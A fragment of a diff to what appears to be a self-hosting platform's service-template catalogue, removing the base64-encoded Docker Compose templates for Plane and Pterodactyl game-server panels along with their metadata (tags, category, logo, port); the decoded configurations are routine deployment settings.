gICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC13b3JrZXIuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3Nfd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGJlYXQtd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgcGxhbmUtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LjctYWxwaW5lJwogICAgY29tbWFuZDogInBvc3RncmVzIC1jICdtYXhfY29ubmVjdGlvbnM9MTAwMCciCiAgICBlbnZpcm9ubWVudDoKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgdm9sdW1lczoKICAgICAgLSAncGdkYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1yZWRpczoKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo3LjIuNS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JhYmJpdG1xX2RhdGE6L3Zhci9saWIvcmFiYml0bXEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JhYmJpdG1xLWRpYWdub3N0aWNzIC1xIHBpbmcnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMzBzCiAgICAgIHJldHJpZXM6IDMKICBwbGFuZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9leHBvcnQgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDkwIicKICAgIGVudmlyb25tZW50OgogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2V4cG9ydCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3858,38 +3837,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04K",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09S